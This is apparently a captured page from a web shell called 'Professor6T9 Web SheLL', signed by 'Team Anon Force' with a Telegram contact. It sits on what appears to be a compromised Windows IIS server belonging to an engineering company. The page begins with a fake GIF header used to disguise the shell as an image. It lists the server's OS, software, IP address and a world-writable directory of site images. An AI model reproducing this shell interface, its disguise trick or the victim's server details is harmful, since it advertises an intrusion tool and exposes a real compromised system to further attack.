GIF89;aGIF89;aGIF89;a

Team Anon Force

https://t.me/Professor6T9x

Professor6T9 Web SheLL
 Windows NT WEB-23 10.0 build 17763 (Windows Server 2016) i586
 Microsoft-IIS/10.0
 103.118.16.173
Name Type Size Owner/Group Permission Last Modified Actions
. dir - 0/0 0777 2025-11-27 03:50:39
.. dir - 0/0 0777 2025-11-27 03:42:27
1.jpg image/jpeg 70.11 KB 0/0 0666 2025-11-27 05:22:23
10.15.09-061.jpg image/jpeg 105.89 KB 0/0 0666 2025-11-27 05:22:23
6-2-150x150.jpg image/jpeg 7.33 KB 0/0 0666 2025-11-27 05:22:23
6-2.jpg image/jpeg 292.49 KB 0/0 0666 2025-11-27 05:22:23
DESAI ENGINEERING-LOGO (2).png image/png 90.08 KB 0/0 0666 2025-11-27 05:22:24
DESAI_ENGINEERING-LOGO.ico image/vnd.microsoft.icon 21.28 KB 0/0 0666 2025-11-27 05:22:24
DESAI_ENGINEERING-LOGO.png image/png 58.71 KB 0/0 0666 2025-11-27 05:22:24
EHS-Banner-1024x731.png image/png 201.68 KB 0/0 0666 2025-11-27 05:22:24
EHS-Banner-1536x1097.png image/png 13.15 KB 0/0 0666 2025-11-27 05:22:24
IMG_1265-min.jpg image/jpeg 1.17 MB 0/0 0666 2025-11-27 05:22:26
IMG_1278-min.jpg image/jpeg 2.08 MB 0/0 0666 2025-11-27 05:22:27
Industrial-Plant-at-Night-Square-Crop-1200x480-1.jpg image/jpeg 95.49 KB 0/0 0666 2025-11-27 05:22:27
Instrumentation services.png image/png 424.88 KB 0/0 0666 2025-11-27 05:22:27
cabel.jpg image/jpeg 24.67 KB 0/0 0666 2025-11-27 05:22:23
cable work.jpg image/jpeg 49.5 KB 0/0 0666 2025-11-27 05:22:23
civil work.jpg image/jpeg 65.75 KB 0/0 0666 2025-11-27 05:22:23
civilwork.jpg image/jpeg 106.54 KB 0/0 0666 2025-11-27 05:22:23
commercial.png image/jpeg 1.27 MB 0/0 0666 2025-11-27 05:22:24
earthing work.jpeg image/jpeg 33.36 KB 0/0 0666 2025-11-27 05:22:24
electrical contracting.jpg image/jpeg 49.74 KB 0/0 0666 2025-11-27 05:22:24
electrical services.PNG image/png 259.46 KB 0/0 0666 2025-11-27 05:22:25
electrical_services-removebg-preview.png image/png 249.9 KB 0/0 0666 2025-11-27 05:22:25
fabrication.jpg image/jpeg 31.5 KB 0/0 0666 2025-11-27 05:22:25
industrial-fabricationn-300x185.jpg image/jpeg 17.74 KB 0/0 0666 2025-11-27 05:22:26
industrial.jpg image/jpeg 71.05 KB 0/0 0666 2025-11-27 05:22:27
instrumentation-engineering-services-500x500.jpg image/jpeg 52.7 KB 0/0 0666 2025-11-27 05:22:27
instrumentation-engineering-services-500x500.webp image/webp 34.63 KB 0/0 0666 2025-11-27 05:22:28
macchina-pre-revamping.jpg image/jpeg 44.93 KB 0/0 0666 2025-11-27 05:22:28
material supply.jpg image/jpeg 63.92 KB 0/0 0666 2025-11-27 05:22:28
mechanical services.png image/png 195.77 KB 0/0 0666 2025-11-27 05:22:28
obj-img01.jpg image/jpeg 31.25 KB 0/0 0666 2025-11-27 05:22:28
productwra.jpg image/jpeg 62.37 KB 0/0 0666 2025-11-27 05:22:28
reva-1.jpg image/jpeg 38.1 KB 0/0 0666 2025-11-27 05:22:28
scaffolding.jpg image/jpeg 153.68 KB 0/0 0666 2025-11-27 05:22:28
service1.png image/png 106.08 KB 0/0 0666 2025-11-27 05:22:28
service3-300x151.png image/png 105.95 KB 0/0 0666 2025-11-27 05:22:29
service3.png image/png 162.87 KB 0/0 0666 2025-11-27 05:22:29
service6.png image/png 112.82 KB 0/0 0666 2025-11-27 05:22:29
special.jpg image/jpeg 40.52 KB 0/0 0666 2025-11-27 05:22:29
trans.jpg image/jpeg 31.08 KB 0/0 0666 2025-11-27 05:22:29
© Professor6T9